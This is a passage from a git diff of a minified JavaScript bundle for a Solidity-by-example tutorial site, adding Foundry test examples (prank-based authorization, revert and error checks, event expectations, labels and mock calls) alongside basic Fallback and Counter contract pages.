yXS54CiAgICAgICAgICAgIC8vICAgICAyIHwgc2xvdCBzMCArIDUgfCBhcnJbMl0ueiB8IGFyclsyXS55CiAgICAgICAgICAgIHggOj0gc2xvYWQoYWRkKHN0YXJ0LCBtdWwoaSwgMikpKQogICAgICAgICAgICBsZXQgenkgOj0gc2xvYWQoYWRkKHN0YXJ0LCBhZGQobXVsKGksIDIpLCAxKSkpCiAgICAgICAgICAgIC8vIHVpbnQxMjggY3V0cyBvZmYgbGVmdCBtb3N0IDEyOCBiaXRzIGZyb20gMzIgYnl0ZXMKICAgICAgICAgICAgeSA6PSB6eQogICAgICAgICAgICB6IDo9IHNocigxMjgsIHp5KQogICAgICAgIH0KICAgIH0KfQo="}],Dk=`

                          Examples of

                          • Reading and writing to storage with assembly
                          • Storage layout of different data types
                          • @@ -8876,7 +8876,7 @@ assertion probably means that there is a bug. } } } -`,Dk=({prev:s,next:a})=>r.jsx(A,{version:Kk,title:Mk,description:Sk,cyfrinLink:xk,html:zk,prev:s,next:a,codes:Jk}),Ek="0.8.26",Qk="Fallback",Tk="Example of how to use fallback in Solidity",Uk="https://www.cyfrin.io/glossary/fallback-solidity-code-example",_k=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZh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ZW1vcnkpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuZ2V0LCAoKSksIGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuaW5jLCAoKSkpOwogICAgfQp9Cg=="}],Lk=`

                            fallback is a special function that is executed either when

                            +`,Ek=({prev:s,next:a})=>r.jsx(A,{version:Mk,title:Sk,description:xk,cyfrinLink:Jk,html:Dk,prev:s,next:a,codes:zk}),Qk="0.8.26",Tk="Fallback",Uk="Example of how to use fallback in Solidity",Lk="https://www.cyfrin.io/glossary/fallback-solidity-code-example",_k=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIG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b2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gdGFyZ2V0LmNhbGx7dmFsdWU6IG1zZy52YWx1ZX0oZGF0YSk7CiAgICAgICAgcmVxdWlyZShvaywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGNvdW50ICs9IDE7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQp9Cgpjb250cmFjdCBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBldmVudCBMb2coYnl0ZXMgcmVzKTsKCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2ZhbGxiYWNrLCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gX2ZhbGxiYWNrLmNhbGwoZGF0YSk7CiAgICAgICAgcmVxdWlyZShvaywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgZW1pdCBMb2cocmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUZXN0RGF0YSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5LCBieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAgKGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuZ2V0LCAoKSksIGFiaS5lbmNvZGVDYWxsKENvdW50ZXIuaW5jLCAoKSkpOwogICAgfQp9Cg=="}],Ok=`

                            fallback is a special function that is executed either when

                            • a function that does not exist is called or
                            • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
                            • @@ -8962,7 +8962,7 @@ assertion probably means that there is a bug. (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,Ok=({prev:s,next:a})=>r.jsx(A,{version:Ek,title:Qk,description:Tk,cyfrinLink:Uk,html:Lk,prev:s,next:a,codes:_k}),Pk="0.8.26",$k="First Application",qk="Example of smart contract in Solidity",s0="",a0=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],n0=`

                              Here is a simple contract that you can get, increment and decrement the count stored in this contract.

                              +`,Pk=({prev:s,next:a})=>r.jsx(A,{version:Qk,title:Tk,description:Uk,cyfrinLink:Lk,html:Ok,prev:s,next:a,codes:_k}),$k="0.8.26",qk="First Application",s0="Example of smart contract in Solidity",a0="",n0=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],l0=`

                              Here is a simple contract that you can get, increment and decrement the count stored in this contract.

                              // SPDX-License-Identifier: MIT
                               pragma solidity ^0.8.26;
                               
                              @@ -8985,7 +8985,379 @@ assertion probably means that there is a bug.
                                       count -= 1;
                                   }
                               }
                              -
                              `,l0=({prev:s,next:a})=>r.jsx(A,{version:Pk,title:$k,description:qk,cyfrinLink:s0,html:n0,prev:s,next:a,codes:a0}),p0="0.8.26",e0="Function",c0="Example of how to write functions in Solidity",t0="https://www.cyfrin.io/glossary/function-solidity-code-example",o0=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKS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YTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],r0=`

                              There are several ways to return outputs from a function.

                              +`,p0=({prev:s,next:a})=>r.jsx(A,{version:$k,title:qk,description:s0,cyfrinLink:a0,html:l0,prev:s,next:a,codes:n0}),e0="0.8.26",c0="Foundry Authorization",t0="Foundry authorization example",o0="",r0=[{fileName:"AuthTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMiwgc3RkRXJyb3J9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7Cgpjb250cmFjdCBBdXRoIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRPd25lcihhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9Cn0KCmNvbnRyYWN0IEF1dGhUZXN0IGlzIFRlc3QgewogICAgQXV0aCBwcml2YXRlIGF1dGg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIC8vIG93bmVyID0gdGhpcyBjb250cmFjdAogICAgICAgIGF1dGggPSBuZXcgQXV0aCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RTZXRPd25lcigpIHB1YmxpYyB7CiAgICAgICAgYXV0aC5zZXRPd25lcihhZGRyZXNzKDEpKTsKICAgICAgICBhc3NlcnRFcShhdXRoLm93bmVyKCksIGFkZHJlc3MoMSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RGYWlsTm90T3duZXIoKSBwdWJsaWMgewogICAgICAgIC8vIE5leHQgY2FsbCB3aWxsIGJlIGNhbGxlZCBieSBhZGRyZXNzKDEpCiAgICAgICAgdm0ucHJhbmsoYWRkcmVzcygxKSk7CiAgICAgICAgYXV0aC5zZXRPd25lcihhZGRyZXNzKDEpKTsKCiAgICAgICAgdm0uc3RhcnRQcmFuayhhZGRyZXNzKDEpKTsKICAgICAgICAvLyBBbGwgY2FsbHMgdW50aWwgc3RvcFByYW5rIHdpbGwgYmUgbWFkZSBieSBhZGRyZXNzKDEpCiAgICAgICAgYXV0aC5zZXRPd25lcihhZGRyZXNzKDEpKTsKICAgICAgICBhdXRoLnNldE93bmVyKGFkZHJlc3MoMSkpOwogICAgICAgIGF1dGguc2V0T3duZXIoYWRkcmVzcygxKSk7CiAgICAgICAgdm0uc3RvcFByYW5rKCk7CiAgICB9Cn0K"}],i0=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import {Test, console2, stdError} from "forge-std/Test.sol";
                              +
                              +contract Auth {
                              +    address public owner;
                              +
                              +    constructor() {
                              +        owner = msg.sender;
                              +    }
                              +
                              +    function setOwner(address _owner) external {
                              +        require(msg.sender == owner, "not authorized");
                              +        owner = _owner;
                              +    }
                              +}
                              +
                              +contract AuthTest is Test {
                              +    Auth private auth;
                              +
                              +    function setUp() public {
                              +        // owner = this contract
                              +        auth = new Auth();
                              +    }
                              +
                              +    function testSetOwner() public {
                              +        auth.setOwner(address(1));
                              +        assertEq(auth.owner(), address(1));
                              +    }
                              +
                              +    function testFailNotOwner() public {
                              +        // Next call will be called by address(1)
                              +        vm.prank(address(1));
                              +        auth.setOwner(address(1));
                              +
                              +        vm.startPrank(address(1));
                              +        // All calls until stopPrank will be made by address(1)
                              +        auth.setOwner(address(1));
                              +        auth.setOwner(address(1));
                              +        auth.setOwner(address(1));
                              +        vm.stopPrank();
                              +    }
                              +}
                              +
                              `,g0=({prev:s,next:a})=>r.jsx(A,{version:e0,title:c0,description:t0,cyfrinLink:o0,html:i0,prev:s,next:a,codes:r0}),h0="0.8.26",I0="Foundry Basic",d0="Foundry basic example",C0="",j0=[{fileName:"CounterTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMiwgc3RkRXJyb3J9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7Cgpjb250cmFjdCBDb3VudGVyIHsKICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCArPSAxOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlYygpIGV4dGVybmFsIHsKICAgICAgICBjb3VudCAtPSAxOwogICAgfQp9Cgpjb250cmFjdCBDb3VudGVyVGVzdCBpcyBUZXN0IHsKICAgIENvdW50ZXIgcHVibGljIGNvdW50ZXI7CgogICAgLy8gSW52b2tlZCBiZWZvcmUgZWFjaCB0ZXN0CiAgICBmdW5jdGlvbiBzZXRVcCgpIHB1YmxpYyB7CiAgICAgICAgY291bnRlciA9IG5ldyBDb3VudGVyKCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdEluYygpIHB1YmxpYyB7CiAgICAgICAgY291bnRlci5pbmMoKTsKICAgICAgICBhc3NlcnRFcShjb3VudGVyLmNvdW50KCksIDEpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RGYWlsRGVjKCkgcHVibGljIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbCB3aXRoIHVuZGVyZmxvdwogICAgICAgIGNvdW50ZXIuZGVjKCk7CiAgICB9CgogICAgLy8gU2FtZSBhcyB0ZXN0RmFpbERlYwogICAgZnVuY3Rpb24gdGVzdERlY1VuZGVyZmxvdygpIHB1YmxpYyB7CiAgICAgICAgdm0uZXhwZWN0UmV2ZXJ0KHN0ZEVycm9yLmFyaXRobWV0aWNFcnJvcik7CiAgICAgICAgY291bnRlci5kZWMoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0RGVjKCkgcHVibGljIHsKICAgICAgICBjb3VudGVyLmluYygpOwogICAgICAgIGNvdW50ZXIuaW5jKCk7CiAgICAgICAgY291bnRlci5kZWMoKTsKICAgICAgICBhc3NlcnRFcShjb3VudGVyLmNvdW50KCksIDEpOwogICAgfQp9Cg=="}],A0=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import {Test, console2, stdError} from "forge-std/Test.sol";
                              +
                              +contract Counter {
                              +    uint256 public count;
                              +
                              +    function inc() external {
                              +        count += 1;
                              +    }
                              +
                              +    function dec() external {
                              +        count -= 1;
                              +    }
                              +}
                              +
                              +contract CounterTest is Test {
                              +    Counter public counter;
                              +
                              +    // Invoked before each test
                              +    function setUp() public {
                              +        counter = new Counter();
                              +    }
                              +
                              +    function testInc() public {
                              +        counter.inc();
                              +        assertEq(counter.count(), 1);
                              +    }
                              +
                              +    function testFailDec() public {
                              +        // This will fail with underflow
                              +        counter.dec();
                              +    }
                              +
                              +    // Same as testFailDec
                              +    function testDecUnderflow() public {
                              +        vm.expectRevert(stdError.arithmeticError);
                              +        counter.dec();
                              +    }
                              +
                              +    function testDec() public {
                              +        counter.inc();
                              +        counter.inc();
                              +        counter.dec();
                              +        assertEq(counter.count(), 1);
                              +    }
                              +}
                              +
                              `,u0=({prev:s,next:a})=>r.jsx(A,{version:h0,title:I0,description:d0,cyfrinLink:C0,html:A0,prev:s,next:a,codes:j0}),y0="0.8.26",m0="Foundry Error",b0="Foundry error example",w0="",k0=[{fileName:"ErrorTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJ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pb25zCiAgICBmdW5jdGlvbiB0ZXN0RXJyb3JMYWJlbCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZXJ0RXEodWludDI1NigxKSwgdWludDI1NigxKSwgInRlc3QgMSIpOwogICAgICAgIGFzc2VydEVxKHVpbnQyNTYoMSksIHVpbnQyNTYoMSksICJ0ZXN0IDIiKTsKICAgICAgICBhc3NlcnRFcSh1aW50MjU2KDEpLCB1aW50MjU2KDEpLCAidGVzdCAzIik7CiAgICB9Cn0K"}],Z0=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +contract Error {
                              +    error NotAuthorized();
                              +
                              +    function throwError() external {
                              +        require(false, "not authorized");
                              +    }
                              +
                              +    function throwCustomError() external {
                              +        revert NotAuthorized();
                              +    }
                              +}
                              +
                              +contract ErrorTest is Test {
                              +    Error public err;
                              +
                              +    function setUp() public {
                              +        err = new Error();
                              +    }
                              +
                              +    // Start test name with testFail
                              +    function testFail() public {
                              +        err.throwError();
                              +    }
                              +
                              +    function testRevert() public {
                              +        vm.expectRevert();
                              +        err.throwError();
                              +    }
                              +
                              +    function testRequireMessage() public {
                              +        vm.expectRevert(bytes("not authorized"));
                              +        err.throwError();
                              +    }
                              +
                              +    function testCustomError() public {
                              +        vm.expectRevert(Error.NotAuthorized.selector);
                              +        err.throwCustomError();
                              +    }
                              +
                              +    // Add label to assertions
                              +    function testErrorLabel() public {
                              +        assertEq(uint256(1), uint256(1), "test 1");
                              +        assertEq(uint256(1), uint256(1), "test 2");
                              +        assertEq(uint256(1), uint256(1), "test 3");
                              +    }
                              +}
                              +
                              `,W0=({prev:s,next:a})=>r.jsx(A,{version:y0,title:m0,description:b0,cyfrinLink:w0,html:Z0,prev:s,next:a,codes:k0}),G0="0.8.26",B0="Foundry Event",f0="Foundry event",V0="",Y0=[{fileName:"EventTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWE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bXSBtZW1vcnkgdG8gPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHRvWzBdID0gYWRkcmVzcygxMTEpOwogICAgICAgIHRvWzFdID0gYWRkcmVzcygyMjIpOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSBuZXcgdWludDI1NltdKDIpOwogICAgICAgIGFtb3VudHNbMF0gPSAxOwogICAgICAgIGFtb3VudHNbMV0gPSAyOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCB0by5sZW5ndGg7IGkrKykgewogICAgICAgICAgICAvLyAxLiBUZWxsIEZvdW5kcnkgd2hpY2ggZGF0YSB0byBjaGVjawogICAgICAgICAgICB2bS5leHBlY3RFbWl0KHRydWUsIHRydWUsIGZhbHNlLCB0cnVlKTsKICAgICAgICAgICAgLy8gMi4gRW1pdCB0aGUgZXhwZWN0ZWQgZXZlbnQKICAgICAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKHRoaXMpLCB0b1tpXSwgYW1vdW50c1tpXSk7CiAgICAgICAgfQoKICAgICAgICAvLyAzLiBDYWxsIHRoZSBmdW5jdGlvbiB0aGF0IHNob3VsZCBlbWl0IHRoZSBldmVudAogICAgICAgIGUudHJhbnNmZXJNYW55KGFkZHJlc3ModGhpcyksIHRvLCBhbW91bnRzKTsKICAgIH0KfQo="}],X0=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +contract Event {
                              +    event Transfer(address indexed from, address indexed to, uint256 amount);
                              +
                              +    function transfer(address from, address to, uint256 amount) external {
                              +        emit Transfer(from, to, amount);
                              +    }
                              +
                              +    function transferMany(
                              +        address from,
                              +        address[] calldata to,
                              +        uint256[] calldata amounts
                              +    ) external {
                              +        for (uint256 i = 0; i < to.length; i++) {
                              +            emit Transfer(from, to[i], amounts[i]);
                              +        }
                              +    }
                              +}
                              +
                              +contract EventTest is Test {
                              +    Event public e;
                              +
                              +    event Transfer(address indexed from, address indexed to, uint256 amount);
                              +
                              +    function setUp() public {
                              +        e = new Event();
                              +    }
                              +
                              +    function testEmitTransferEvent() public {
                              +        // function expectEmit(
                              +        //     bool checkTopic1,
                              +        //     bool checkTopic2,
                              +        //     bool checkTopic3,
                              +        //     bool checkData
                              +        // ) external;
                              +
                              +        // 1. Tell Foundry which data to check
                              +        // Check index 1, index 2 and data
                              +        vm.expectEmit(true, true, false, true);
                              +        // 2. Emit the expected event
                              +        emit Transfer(address(this), address(123), 456);
                              +        // 3. Call the function that should emit the event
                              +        e.transfer(address(this), address(123), 456);
                              +
                              +        // Check only index 1
                              +        vm.expectEmit(true, false, false, false);
                              +        emit Transfer(address(this), address(123), 456);
                              +        // NOTE: index 2 and data (amount) doesn't match
                              +        //       but the test will still pass
                              +        e.transfer(address(this), address(111), 222);
                              +    }
                              +
                              +    function testEmitManyTransferEvent() public {
                              +        address[] memory to = new address[](2);
                              +        to[0] = address(111);
                              +        to[1] = address(222);
                              +
                              +        uint256[] memory amounts = new uint256[](2);
                              +        amounts[0] = 1;
                              +        amounts[1] = 2;
                              +
                              +        for (uint256 i = 0; i < to.length; i++) {
                              +            // 1. Tell Foundry which data to check
                              +            vm.expectEmit(true, true, false, true);
                              +            // 2. Emit the expected event
                              +            emit Transfer(address(this), to[i], amounts[i]);
                              +        }
                              +
                              +        // 3. Call the function that should emit the event
                              +        e.transferMany(address(this), to, amounts);
                              +    }
                              +}
                              +
                              `,R0=({prev:s,next:a})=>r.jsx(A,{version:G0,title:B0,description:f0,cyfrinLink:V0,html:X0,prev:s,next:a,codes:Y0}),v0="0.8.26",N0="Foundry Label",H0="Foundry label",K0="",F0=[{fileName:"LabelTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcykgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKfQoKY29udHJhY3QgTGFiZWxUZXN0IGlzIFRlc3QgewogICAgSUVSQzIwIHdldGg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICAgICAgLy8gTGFiZWwgYWRkcmVzcyB3aXRoICJXRVRIIiwgdGhpcyB3aWxsIGJlIGRpc3BsYXllZCBpbiBzdGFjayB0cmFjZXMKICAgICAgICB2bS5sYWJlbChXRVRILCAiV0VUSCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGNvbnNvbGUubG9nKCIlZSIsIHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpKTsKICAgIH0KfQo="}],M0=`

                              Use vm.label to put a label on contracts

                              +
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
                              +
                              +interface IERC20 {
                              +    function balanceOf(address) external view returns (uint256);
                              +}
                              +
                              +contract LabelTest is Test {
                              +    IERC20 weth;
                              +
                              +    function setUp() public {
                              +        weth = IERC20(WETH);
                              +        // Label address with "WETH", this will be displayed in stack traces
                              +        vm.label(WETH, "WETH");
                              +    }
                              +
                              +    function test() public {
                              +        console.log("%e", weth.balanceOf(address(this)));
                              +    }
                              +}
                              +
                              `,S0=({prev:s,next:a})=>r.jsx(A,{version:v0,title:N0,description:H0,cyfrinLink:K0,html:M0,prev:s,next:a,codes:F0}),x0="0.8.26",J0="Foundry Mock Call",z0="Foudry mock call",D0="",E0=[{fileName:"MockCallTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKY29udHJhY3QgVGFyZ2V0IHsKICAgIGZ1bmN0aW9uIGYodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBnKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZygpIGludGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiAxOwogICAgfQp9Cgpjb250cmFjdCBNb2NrQ2FsbFRlc3QgaXMgVGVzdCB7CiAgICBUYXJnZXQgdGFyZ2V0OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB0YXJnZXQgPSBuZXcgVGFyZ2V0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gMTsKICAgICAgICB1aW50MjU2IHkgPSAxOwogICAgICAgIHZtLm1vY2tDYWxsKAogICAgICAgICAgICBhZGRyZXNzKHRhcmdldCksCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKFRhcmdldC5mLCAoeCwgeSkpLAogICAgICAgICAgICBhYmkuZW5jb2RlKHVpbnQyNTYoOTkpKQogICAgICAgICk7CgogICAgICAgIC8vIFJldHVybnMgOTkKICAgICAgICB1aW50MjU2IHJlcyA9IHRhcmdldC5mKHgsIHkpOwogICAgICAgIGNvbnNvbGUubG9nKCJyZXMiLCByZXMpOwogICAgfQp9Cg=="}],Q0=`

                              Set return values from a function call with mockCall.

                              +
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +contract Target {
                              +    function f(uint256 x, uint256 y) external view returns (uint256) {
                              +        return g();
                              +    }
                              +
                              +    function g() internal view returns (uint256) {
                              +        return 1;
                              +    }
                              +}
                              +
                              +contract MockCallTest is Test {
                              +    Target target;
                              +
                              +    function setUp() public {
                              +        target = new Target();
                              +    }
                              +
                              +    function test() public {
                              +        uint256 x = 1;
                              +        uint256 y = 1;
                              +        vm.mockCall(
                              +            address(target),
                              +            abi.encodeCall(Target.f, (x, y)),
                              +            abi.encode(uint256(99))
                              +        );
                              +
                              +        // Returns 99
                              +        uint256 res = target.f(x, y);
                              +        console.log("res", res);
                              +    }
                              +}
                              +
